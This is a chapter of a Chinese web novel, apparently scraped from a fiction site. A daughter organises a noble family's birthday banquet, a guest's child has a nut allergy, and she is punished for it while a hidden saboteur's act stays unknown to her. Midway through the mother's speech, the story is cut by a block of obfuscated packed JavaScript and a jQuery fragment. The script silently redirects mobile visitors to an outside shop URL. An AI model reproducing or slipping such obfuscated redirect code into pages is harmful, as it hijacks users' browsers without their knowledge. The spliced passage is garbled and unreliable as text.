文趣网 > 其他小说 > 可曾盼君归 > 31. 席上惊波
    生辰宴正日,曲陵侯府内外披红挂彩,青石板上遍铺猩红毡子,廊下宫灯串成一串,暖融融的光裹着梅香,漫过重重院落。

    内堂席面排得齐整,案上罗列着果碟茶盏,冷盘热馔次第传上来,香气混着熏香,氤氲满堂。

    程少商一身石青暗花褙子,鬓边只簪了支素银簪,前后张罗着照应宾客、核对上菜次序。

    这几日她东跑西颠,席面座次、陈设形制照着程姎的帛册一一核对,只盼这生辰宴办得妥帖,不叫萧元漪挑出半分错处。此刻见堂中谈笑晏晏,程始陪着男宾在东厢酬酢,萧元漪在西席陪着诸位老夫人说话,一切井然有序,她悬了几日的心,才稍稍松了半分。

    少绥跟在她身侧,踮着脚往席上瞅,小声嘀咕:“阿姊你看,阿母今日穿了那件赤金绣团花的褙子,瞧着精神得很。方才我还听见二伯母夸,说这宴席办得妥帖,比往年姎姎阿姊办的还齐整呢。”

    少商轻轻瞥了她一眼,低声斥道:“别胡说,仔细叫人听了笑话。”话虽如此,唇角还是极淡地勾了一下。

    谁知这口气还没松到底,偏席忽然爆发出一声尖利的惊呼。

    “小公子!小公子你怎么了?!”

    奶娘的声音带着哭腔,骤然打破满堂笑语。众人纷纷循声望去,就见傅老夫人身侧,方才还乖乖扒着案几吃点心的五岁幼孙,此刻小脸涨得通红,小手死死掐着自己的喉咙,身子不住地抽搐,领口露出来的脖颈上,已经浮起一片密密麻麻的红疹子。

    “是杏仁酪!”傅二奶奶扑过去,一把将孩子搂进怀里,声音都劈了,“谁给的杏仁酪!是谁这么歹毒!”

    满堂瞬间哗然。诸位夫人纷纷起身围过去,脸上满是惊惶。傅老夫人也拄着拐杖站起来,脸色铁青,目光扫过案上那碟精致的杏仁酪,气得手都在抖。

    萧元漪猛地站起身,广袖一拂,立刻沉声吩咐:“速去请大夫!把孩子抱到暖阁去,取干净的棉被来裹着!”她几步走到傅二奶奶身侧,神色凝重,“老夫人,二弟妹,是我程家待客不周,思虑疏漏。先救孩子要紧,一切罪责,我萧元漪一力承担。”

    程始也匆匆从东厢赶过来,连连对着傅老夫人拱手致歉,声音沉稳:“老夫人放心,我已经遣人快马去请太医院的医官,定然不会令小公子有事。”

    一时间,满堂宾客乱作一团。程少商僵立在原地,浑身血液仿佛瞬间冻住。她望着那碟搁在案上的杏仁酪,耳边嗡嗡作响。

    杏仁……忌口……

    她慌忙在脑海里过了一遍自己记的清单——早前特意遣人挨个询问赴宴宾客的食忌,几位老夫人的宿疾、忌讳都一一记清了,唯独傅老夫人携幼孙同来,她只留心了老夫人的斋食偏好,竟一时疏漏,没追问孩童的忌讳。

    少商心底一沉,漫上浓浓的自责。

    这般要紧的事,自己竟因粗心大意漏了过去,险些酿成大祸。她立刻上前,帮着奶娘托住孩子的身子,有条不紊地吩咐侍女开窗通风、取温水、寻干净的帕子,动作利落。

    不多时,大夫提着药箱匆匆赶来,蹲下身给小公子搭脉、施针、灌药,折腾了足足两刻钟,才长长舒了口气,擦着额角的汗道:“万幸吃得少,发作得快,此刻已经稳住了。只是往后千万要仔细,再沾半分坚果,怕是要出大事。”

    众人闻言,悬着的心总算落了地。

    傅二奶奶抱着昏睡过去的孩子,眼泪还挂在脸上,看向程少商的目光里满是怨怼:“程家女娘,这宴席是你操办的吧?这么大的忌讳,你都不上心?险些害了我儿的性命!”

    少商垂首站在一旁,没有辩驳,只深深行了一礼:“是我的疏漏,对不住小公子,对不住二位长辈。要罚要责,我尽数领下。”

    傅老夫人看着她,神色沉沉,半晌才冷哼一声,由着儿媳抱着孩子,由程始亲自陪着往暖阁歇息去了。

    一场生辰宴,经此变故,再无半分兴致。

    原本热闹喧腾的侯府,不过一个时辰,便人去堂空,只剩一地狼藉的杯盏,和满院挥之不去的凝重。

    残席撤下,萧元漪端坐九骓堂,脸上覆着一层寒霜。案上那碟没动过的杏仁酪摆在正中,像个明晃晃的巴掌。

    程少商立在堂下,脊背挺得笔直,静静等着发落。程少绥站在她身侧,小脸煞白,偷偷扯了扯她的衣袖,又担忧地望向堂上的萧元漪。

    程始站在一旁,刚要开口打圆场,萧元漪已经先开了口,声音冷得像冰碴子:

    “程少商,我问你,傅小公子忌坚果,这么要紧的事,你为何半点都不曾留意?”

    少商垂眸,声音里带着愧疚:“是女儿思虑不周,核问宾客食忌时粗心疏漏,只记了长辈的忌讳,没顾及孩童的病症,险些酿成大祸。女儿甘愿受罚。”

    “思虑不周?粗心疏漏?”萧元漪猛地抬手,指尖重重点在案上,那碟杏仁酪跟着轻轻一颤,“我听说姎姎把历年的札记尽数都给了你,各家宾客的忌讳、宴席的规制,里面写得清清楚楚。我还特意叮嘱你,心里没底便多翻多看,宾客食忌要逐一核问,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926485|213544||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不可有半分差池。你倒好,手里握着现成的章法都如此不上心!”

    少商闻言微微一怔,眉心倏地蹙起,脱口便道:“可札记里并未……”

    “还敢狡辩!”萧元漪厉声打断,根本不容她分说半句,怒意更盛,“札记明明白白写在那里,你自己疏漏不看,反倒想推说没有?我看你不是没看见,是根本没往心里去!真是冥顽不灵!”

    堂内寂静,只有萧元漪凌厉的声音回荡。

    少商指尖悄悄攥紧。她抬眼望了望萧元漪盛怒的面容,到了嘴边的话又咽了回去。她确确实实翻遍了那卷帛册,关于傅家小公子的坚果之忌,半字都没有。可萧元漪正在气头上,根本不听她分说,再多辩解,反倒像自己推诿责任。

    是与不是,此刻也不重要了。宴席是她接的,错是出在她手里,她认便是。

    因此她也不再辩解,只深深俯首,声音平静:“阿母教训的是。是女儿愚钝,办事不谨,虑事不全。”

    “你!”萧元漪见她一副打不还手骂不还口的模样,到了嘴边的重话反倒卡了卡,胸口起伏半晌。

    程始见状连忙上前打圆场:“元漪,消消气。嫋嫋头一回办宴席,难免有疏漏。幸好孩子没事,也算不幸中的万幸。我看,便罚她禁足几日,抄录家规,叫她长长记性便是了。”

    萧元漪胸口剧烈起伏,狠狠瞪了少商一眼,终是压下怒火,冷声宣判:“禁足半月,每日抄录《内训》十遍,好好反省行事的分寸!再有下次,定不轻饶!”

    “女儿领罚。”少商屈膝行礼,动作端端正正。

    说罢,她起身,对着堂上微微躬身,转身缓步走出九骓堂。少绥连忙跟上去,一路小跑追着她的脚步,嘴里小声急着:“阿姊,明明札记里就没写……你怎么不跟阿母说清楚啊?”

    “说了又如何。”少商停下脚步,回头看她,神色带着几分疲惫,“阿母正在气头上,只当我是找借口推诿。再说,我既然操办宴席,本就该事事核查清楚,不能只指着旁人的札记。是我考虑不周,漏了要紧的事,认了便是。”

    她抬眼望向暮色里的庭院,廊下的宫灯一盏盏亮起来,晃得人影影绰绰。少商轻轻吐出一口气,声音里带着点挫败。

    “往后仔细些便是了。”

    说罢,她转身往自己的偏院走去,脊背依旧挺得笔直,只是脚步比来时沉了几分。

    她从头到尾都不知道,那页记着傅家小公子坚果之忌的旧札,早已在她登门求札记的那日,化作了炭盆里的一缕轻烟。